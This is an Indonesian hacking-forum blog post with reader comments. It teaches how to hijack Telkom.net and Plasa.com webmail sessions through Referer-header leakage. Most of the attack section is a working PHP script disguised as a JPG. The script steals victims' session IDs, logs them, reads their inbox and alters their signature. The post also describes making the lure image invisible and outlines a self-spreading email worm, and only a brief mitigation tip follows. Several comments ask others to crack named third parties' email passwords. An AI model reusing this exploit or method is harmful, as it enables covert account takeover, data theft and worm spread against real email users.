Kamis, 19 Januari 2012

Binus Hacker - Independent Hacking Community   Subscribe to BINUS HACKER Subscribe to BINUS HACKERSubscribe to BINUS HACKER FacebookSubscribe to BINUS HACKER Twitter

Hacking Email Telkom.net dan Plasa.com

1 June 2009
Penulis:   · Kategori Artikel: Hacking, Tutorial, Vuln

BINUS HACKER Binus Hacker Is Not Criminal Banner



20
 
1
 
21
share

Telkom.net dan Plasa.com adalah fasilitas email gratis yang diberikan oleh PT Telkom. Pengguna email telkomnet dan plasacom patut waswas, karena amat mudah untuk menghack email di sana. Hanya dengan membuka sebuah email yang telah dirancang khusus oleh attacker, email anda bisa menjadi milik attacker. Dalam artikel ini saya akan tunjukkan apa kelemahannya, bagaimana cara mengexploitasi kelemahan itu dan tentu saja bagaimana cara agar terhindar dari serangan itu.

Webmail Session Hijacking

Teknik hacking email dalam artikel ini adalah dengan cara hijacking session. Oleh karena itu teknik ini hanya bisa dilakukan pada webmail telkom.net dan plasa.com, pengguna telkom.net dan plasa.com yang menggunakan Outlook/Thunderbird tidak rentan terhadap serangan ini.

Karena http adalah protokol yang stateless, sedangkan untuk membuat session server harus bisa memantau state user, maka digunakanlah session ID sebagai kunci atau penanda suatu session. Bila sessionID diketahui attacker, maka attacker bisa menguasai session korban. Orang lain, siapapun yang membawa sessionID anda, akan dianggap oleh server sebagai anda. Hijacking session adalah usaha untuk mendapatkan session ID korban, dengan cara predicting, capturing, atau fixating session ID.

SessionID diberikan oleh server dan harus dikembalikan lagi oleh browser (client) setiap kali membuat request. Mekanisme penyimpanan dan pengiriman session ID bisa dilakukan dengan dua cara:

  1. Session Cookie: Session ID diberikan server dalam bentuk cookie dan disimpan oleh browser. Setiap browser melakukan request, cookie tersebut akan dikembalikan ke server lagi sebagai bukti bahwa user tersebut adalah masih orang yang sama.
  2. URL Rewriting: Server menyisipkan session ID dalam halaman html yang dikirimkan ke browser. Session ID tersebut dimasukkan dalam bentuk URL di tag html tertentu seperti link (tag A). Contohnya bila URL link aslinya adalah http://www.somesite.com/inbox.php Oleh server link tersebut akan disisipkan sessionID menjadi:

    Dengan cara ini setiap kali user mengklik link tersebut, maka sessionID juga akan dikirim ke server sebagai bukti bahwa user tersebut adalah pengguna session yang sah.

SessionID paling aman disimpan dan dikirim kembali ke server dalam bentuk cookie, apalagi bila cookie tersebut diamankan dengan bit secure atau httponly. Kemungkinan serangan yang bisa dilancarkan untuk mencuri cookie adalah dengan XSS attack dan sniffing attack, kedua jenis serangan itu bisa dicegah dengan bit secure dan httponly.

Bila cookie telah diamankan dengan secure bit, maka cookie tersebut tidak bisa dicuri dengan sniffing karena cookie hanya dikirim melalui https, cookie tersebut juga tidak bisa dicuri dengan serangan XSS karena akses javascript terhadap cookie telah ditutup. Bila cookie hanya dilindungi dengan httponly, maka cookie itu aman dari serangan XSS, namun rentan sniffing bila cookie dikirimkan melalui http biasa.

Berbeda dengan cookie, menyimpan Session ID dalam URL sangatlah berbahaya, karena URL mudah dilihat, dikopi dan disimpan dalam bookmark, log file dan sebagainya. Selain itu sessionID juga bisa bocor ke tempat lain melalui header Referer. Sebab header Referer bertugas membawa URL dimana sebuah request dilakukan. Bila dalam suatu halaman terjadi request untuk mengambil gambar, maka header Referer akan mengandung URL dari halaman tersebut. Dalam artikel ini saya akan menggunakan jurus header Referer untuk membajak session webmail Telkom.net dan Plasa.com. Bagi pemilik situs, tentu sering melihat header ini dengan program statistic seperti Awstats untuk melihat pengunjung situs berasal dari situs mana saja.

telkom.net URL

SessionID webmail Telkom.net dan Plasa.com disimpan pada URL sehingga memudahkan pembajakan session. Mari kita lihat bagaimana bentuk URL webmail telkom.net dan plasa.com:

Stealing SessionID from Referer Header

Session ID pada URL telkom.net dan plasa.com disisipkan setelah /Session/ hingga karakter / (slash). Sekarang bagaimana caranya attacker bisa mengetahui URL yang sedang dibuka korban di browsernya? Di awal saya sudah menyebutkan sekilas tentang header request yang bernama Referer. Tugas dari header ini adalah mengirimkan URL halaman yang melakukan request. Agar lebih jelasnya mari kita lihat sebuah contoh.

Ketika pengunjung sedang membuka halaman dengan URL:

Kemudian ketika terjadi request ke sebuah file image:

Maka pada request GET tersebut akan ada header seperti di bawah ini:

0
1
2
3
4
5
6
7
8
9
10
11
GET /Session/235581-9w3zNaNskYc1v7ln5DDJ-kmbcuww/batal.gif HTTP/1.1
Host: mail.telkom.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 GTB5 ImageShackToolbar/5.0.0
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://mail.telkom.net/Session/235581-9w3zNaNskYc1v7ln5DDJ-kmbcuww/mailbox.wssp?Mailbox=INBOX&
Cache-Control: max-age=0

Pada baris ke-10 terdapat header Referer yang menunjukkan bahwa request tersebut terjadi ketika kepada user sedang berada di URL tersebut. Karena URL yang direquest adalah http://mail.telkom.net/Session/235581-9w3zNaNskYc1v7ln5DDJ-kmbcuww/batal.gif, maka web server mail.telkom.net tempat file batal.gif tersebut berada, dapat mengetahui URL ketika request tersebut terjadi. Sekarang bayangkan apa yang terjadi bila request tersebut bukan mendownload image dari mail.telkom.net, tapi dari server www.evilhackersite.com/image.jpg. Web server di www.evilhackersite.com tentu akan mendapatkan URL tempat terjadinya request dari header Referer. Dan karena URL tersebut mengandung Session ID, maka dengan mudah attacker akan membajak session anda.

Attack Scenario

Webmail telkom.net dan plasa.com menggunakan URL sebagai mekanisme pertukaran session ID. Attacker bisa menjebak korban untuk membuka sebuah email yang mengandung gambar yang berlokasi di server attacker. Tag IMG tersebut akan membuat browser korban melakukan request ke server attacker, dengan tentu saja mengirimkan URL korban dalam header Referer. Dengan mengetahui session ID korban, attacker dengan mudah menguasai account webmail korban.

Preparing the Script

Sebelum bisa melakukan serangan, yang pertama harus dilakukan adalah menyiapkan server side script sebagai target request untuk menangkap SessionID korban. Server side script ini akan di-”masking” sebagai file JPG dengan menggunakan mod_rewrite Apache (.htaccess). Server side script yang dimasking sebagai file JPG inilah yang akan dimasukkan dalam tag IMG dalam email yang dibaca korban. Bila korban membaca email attacker, maka akan terjadi request ke server side script itu, sehingga attacker bisa mendapatkan session ID korban dan menguasai emailnya.

URL yang akan kita jadikan tujuan request adalah: http://www.ilmuhacking.com/mylab/image.jpg yang sebenarnya adalah masking untuk server side script http://www.ilmuhacking.com/mylab/checkmail.php. Dengan menggunakan mod_rewrite Apache dan settings .htacess berikut ini masking checkmail.php menjadi image.jpg bisa dilakukan:

1
2
3
RewriteEngine On
RewriteBase /
RewriteRule mylab/image.jpg mylab/checkmail.php

Berikutnya saya harus menyiapkan file checkmail.php. Tugas dari script php itu adalah mendapatkan session ID kemudian langsung membajak session korban bermodalkan session ID tersebut.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
<?php
// Ambil header Referer
$ref = $_SERVER["HTTP_REFERER"];
$telkomnet = false;
$plasacom = false;
$width = 468;
$height = 100;
if (strpos($ref,“telkom.net”)>-1) {
$telkomnet = true;
}
if (strpos($ref,“plasa.com”)>-1) {
$plasacom = true;
}
if ($telkomnet===false && $plasacom===false) {
exit();
}

$file = fopen(“daftarkorban.txt”,“a”);
$url_tokens = parse_url($ref);
$host = $url_tokens["host"];
$tokens = explode(“/”,$ref);
$sessid = $tokens[4];
fwrite($file,“######\n);
fwrite($file,“REFERER:”.$_SERVER["HTTP_REFERER"].\n);
fwrite($file,“SESSID:”.$sessid.\n);

$urlhost = “http://$host/Session/$sessid/mailbox.wssp?Mailbox=INBOX&”;
$inboxhtml = file_get_contents($urlhost);

preg_match(‘/<title>(.*?)<\/title>/i’, $inboxhtml, $matches);
$title=$matches[1];
$email = $title;
$pos = strpos($title,” “);
if ($pos > -1) {
$email = substr($title,0,$pos);
}

fwrite($file,“KORBAN:”.$email.\n);
fwrite($file,“******\n);
fclose($file);

$image = ImageCreate($width, $height);
$white = ImageColorAllocate($image, 255, 255, 255);
$black = ImageColorAllocate($image, 0, 0, 0);
$grey = ImageColorAllocate($image, 204, 204, 204);
ImageFill($image, 0, 0, $black);
ImageString($image, 3, 15, 5, $sessid, $white);
ImageString($image, 3, 25, 25, $email, $white);

// Writing Signature…
$url = http://mail.telkom.net/Session/$sessid/settings.wssp”;
if ($plasacom==true) {
$url = http://mail1.plasa.com/Session/$sessid/settings1.wssp”;
}
$old_settings = file_get_contents($url);
preg_match(‘/<textarea(.*?)>(.*?)<\/textarea>/i’, $old_settings, $matches);
$oldsig = $matches[2];

$data = array();
$data["UserFrom"] = $email;
$newsig = “[YOUR EMAIL HAS BEEN HACKED]“.$oldsig;
$data["Signature"] = $newsig;
$data["Update"] = “Update”;

$response = doPost($url,$data);
if ((strpos($response,“Updated”)>-1 && $telkomnet==true) || $plasacom==true) {
ImageString($image, 3, 35, 50, “Signature anda berhasil diganti menjadi:” , $white);
ImageString($image, 3, 45, 65, $newsig , $white);
}
header(“Content-Type: image/jpeg”);
ImageJpeg($image);
ImageDestroy($image);

function doPost($url,$data) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
$response = curl_exec($ch);
if(curl_errno($ch))
{
$response = curl_error($ch);
}
curl_close($ch);
return $response;
}
?>

Cara kerja script di atas adalah: Pada baris ke-3 isi header Referer diambil. Kemudian dibuat dan dibuka file daftarkorban.txt. File ini adalah log yang menyimpan daftar korban. Pada baris ke-22, session ID diambil dari header referer. Setelah session ID didapatkan kini script bisa mengubah signature korban, dengan cara mengirimkan POST request ke http://mail.telkom.net/Session/[SESSIONID_KORBAN]/settings.wssp, perhatikan baris ke-65. Setelah mengubah signature korban, pada baris ke-66 sampai baris ke-72, script membuat image dengan pesan “Signature anda berhasil diganti menjadi:”.

Launch The Attack

Oke, kini semua persiapan sudah siap. Kini saatnya kita melancarkan serangan dengan mengirimkan email html yang mengandung tag IMG. Dalam contoh attacker adalah rizki.wicaksono@telkom.net dan korban adalah rizki.wicaksono@plasa.com. Ingat ini hanya contoh, dalam kenyataannya attacker bisa menggunakan email apapun, bahkan email palsu (anonymous). Perhatikan gambar berikut ini yang menunjukan bagaimana email yang berisi jebakan dibuat dan ditujukan untuk korban.

Dalam gambar tersebut email diisi dengan tag HTML IMG. Perhatikan bahwa saya bisa saja membuat image tersebut invisible dengan memberikan atribut width dan src 0. Dengan membuat image menjadi invisible, korban tidak akan menyadari bahwa emailnya telah dibajak. Tapi untuk contoh saya membiarkan gambar berukuran besar. Berikut ini adalah isi tanda tangan (signature) email korban sebelum email dibuka.

signature1

Dan gambar berikut adalah gambar ketika email attacker tiba.

email attacker tiba

Dan gambar berikut adalah gambar ketika email attacker dibuka oleh korban. Pada gambar tersebut terlihat bahwa session id korban dan pesan bahwa signature korban berubah tertulis dalam file image.jpg.

victim open email and his session hijacked instantly

Pada saat korban membuka email dari attacker, pada saat itu juga attacker menguasai penuh account email korban. Dalam contoh artikel ini attacker mengubah signature korban dengan menambahkan string [YOUR EMAIL HAS BEEN HACKED]. Berikut ini adalah gambar signature korban setelah korban membuka email attacker.

signature2

Worm Attack: More Dangerous Scenario

Skenario serangan yang lebih berbahaya adalah bila attacker mengeksploitasi kelemahan ini untuk menciptakan worm. Ingat bahwa ketika attacker mendapatkan session ID, pada saat itu attacker memiliki power yang setara dengan korban. Dengan session korban, attacker bisa mengirimkan email serangan yang sama ke calon korban lain yang ada di dalam daftar buku alamat korban. Begitu teman korban membuka email itu, maka session dia juga dalam genggaman attacker dan dia juga akan menyebarkan serangan ke teman-temannya. Hal ini akan memicu reaksi berantai yang berbahaya.

Sulitkah membuat worm seperti itu? Tidak sulit kok, mudah sekali. Semua itu tidak lebih dari kombinasi request GET dan POST dengan berbekal session ID korban. Attacker harus membaca phone book dengan mengirim request HTTP (GET/POST) dengan session ID korban. Setelah itu attacker akan mengirimkan email serangan ke teman-teman korban juga dengan melakukan request HTTP dengan session ID korban. Begitu seterusnya. Tidak sulit bukan, apalagi buat orang yang sudah sering memprogram.

Tips Menghindari Serangan

Karena serangan ini dilakukan dengan membajak session web, maka serangan ini hanya bisa dilakukan bila korban membaca email telkom.net dan plasa.com dengan webmail. Jadi agar terhindar dari serangan ini, gunakanlah akses POP3 atau IMAP untuk membaca email. Dengan menggunakan email client non-web seperti Thunderbird dan Outlook anda akan aman dari serangan ini.

=============== [ EOF ] ======================
Thanks to Rizki Wicaksono from IHC IlmuHacking For This Sharing
Dedicated to All BinusHacker Member & All Of You!

BINUS HACKER Binus Hacker Chat and Forum

Komentar

36 Komentar Untuk “Hacking Email Telkom.net dan Plasa.com
Silahkan Berikan Tanggapan Anda Untuk Artikel Ini...

  1. Rico pada 1 June 2009 7:39 am

    thx sharingnya gan
    mantap suratap

  2. tomhybrid pada 1 June 2009 8:14 am

    PERTAMAX++
    NICE INFO GAN :)

  3. jhon pada 2 June 2009 5:44 pm

    wah, telkom ma plasa bisa bgitu juga kah
    sep

    masih bisa gak tu, coba dulu ahhhh
    thanks boss

  4. fadly pada 3 June 2009 1:42 am

    nice article sharing
    muatntep

  5. RestInPeace pada 5 June 2009 1:54 am

    wah boleh nih
    xD

  6. Mike Steve pada 12 June 2009 4:14 pm

    Hey, nice post, very well written. You should blog more about this.

  7. dandi18 pada 17 June 2009 10:01 am

    sangat bagus

  8. onez pada 23 June 2009 11:49 pm

    100% kagak ngerti mas

  9. Lunar Filth pada 2 July 2009 12:12 pm

    Yahoo & GMail donk say ;)

  10. BataKZ pada 6 July 2009 5:28 am

    Sollar Vs Pertamax..
    Sip broo.. LapetLah..

  11. semaegareng pada 31 July 2009 7:33 pm

    oke daghhhhh

  12. dare631 pada 6 August 2009 4:09 am

    ada yg bisa di mintain tolong buat FB yg kena hack

    tolong add YM daredevil631 thx b4

  13. hacker66 pada 13 August 2009 10:45 pm

    cara basi bro

  14. kamouflase pada 3 September 2009 2:27 pm

    ok gan numpang copas yah..makasih

  15. b0k1r pada 16 September 2009 8:53 pm

    Wah, ini mah biasa coy…. siapa sih adminnya web ini??? moklet tah?

  16. si gaptek pada 6 October 2009 9:23 am

    tinggi banget bahasanya. ada satu pertanyaan mudah yang harus dijawab. bagaimana caranya agar si attacker dapat mengecek bahwa serangannya berhasil dan login ke dalam nya?.
    ni orang gak jelas banget sih

  17. bangfad pada 7 October 2009 6:01 am

    Hajar bleh….
    hehehe… salam buat teman-teman, maaf jarang online lagi :) masih ada kegiatan :) tapi tetap Binushacker.net :)

  18. xxx pada 20 October 2009 4:46 am

    Cara hacking di binus hacker ko basi terus ya????????? gimana mo ngelawan hacker asing??????????

  19. begh pada 23 December 2009 3:13 am

    ijin sedot boss !!!!!!!!!!!!!!!!!!!!!!!!!!!!

  20. Dodo pada 7 January 2010 9:06 pm

    Bagus tuh, cm w blum coba …
    Bisa ga ya???

  21. fi2 pada 20 January 2010 12:44 am

    ada yg bisa kasih pass email ericgeee951@gmail.com

    plZzz…. mohon bantuan na… kirim ke email aq ya…ursadota1@gmail.com

    aq ada masalah sama dia.. account aq di hack sama dia….

  22. hahaha pada 21 July 2010 8:47 am

    lumayan bwd bahan laporan gua

  23. BukanAnakBinus pada 26 July 2010 6:52 pm

    Loe semua yang komen bilang basi itu pada bego semua yach? Klo loe udah tau, setidaknya bisa diem gak? Artikel disini nggak ditunjukkan buat loe doang!!

    Loe nggak liat komen yang lainnya yang pade baru tau….?? Ini ilmu bung, bukan makanan yang cepet basi….!!

  24. h4ck3y pada 10 August 2010 7:07 am

    hmmm… bagus.. kembangkan lagi scriptnya …
    klo logikanya kayak gitu, masih banyak lagi yg bisa dibuat…

  25. h4ck3y pada 10 August 2010 7:09 am

    ada yg kelupaan ……. jejak kaki gw dihapus dulu ya… =)

  26. Noel pada 31 August 2010 11:56 pm

    Bisa kasih password email: gkj-dagenpalur@telkom.net. Mohon bantuannya…. tlg dikirim ke imanuel_solo@gmail.com. Matur nuwun.

  27. Dare_Devil pada 1 December 2010 7:48 am

    gan mohon info nya tentang hack email yahoo…coz email ane yg lain udh lupa…n sekalian mu cuba2 hack email kantor…hehehe…email balik y gan……n thanx b4…

  28. landy pada 3 January 2011 8:56 am

    boleh juga tuh…!!! ngomong2 tu gambar mirip bgt ma orangnya…!!!hehehe

  29. Syahrul The chater pada 19 February 2011 5:48 am

    gan…

    ngg’ ngerti gan di singkat dkit lahh…

    pusing neehhhh…

  30. wajahbaru pada 10 March 2011 10:44 pm

    wajahbaru siap sharing

  31. Lora Malunk Blog pada 24 April 2011 4:13 am

    Mantab gan…………………..parmisi gan mau sedot dulu ye….sekalian mau ninggalin jejak di Binus Hacker………hidup Hacker Indonesia Jayalah dan Maju Terus Melawan Musuh-Musuh Kita.

  32. dani pada 5 June 2011 6:43 am

    thank’s buat solusinya,,,

  33. dilla pada 15 July 2011 7:14 pm

    kk minta’ tulung cari passx e mailq d1iell@yahoo.com

    nie

    plzz kk

  34. dilla pada 15 July 2011 7:15 pm

    kk minta’ tulung cari passx e mailq d1iell@yahoo.com

    nie

    plzz kk

    kirim d e mail eank nie ea

  35. Hacking Email Telkom.net dan Plasa.com pada 16 July 2011 3:03 pm

    Hacking Email Telkom.net dan Plasa.com…

    [...]Telkom.net dan Plasa.com adalah fasilitas email gratis yang diberikan oleh PT Telkom. … preg_match( /<title>(.*?)<\/title>/i’, $inboxhtml, $matches) …[...]…

  36. ruslam pada 10 August 2011 8:49 pm

    master tlong krimkan q donk cara hacker hospot jringan wereles…..????

    ku tunggu bos di email…q……….???

    thankzzzz..!!!!!

Silahkan Berikan Tanggapan Anda...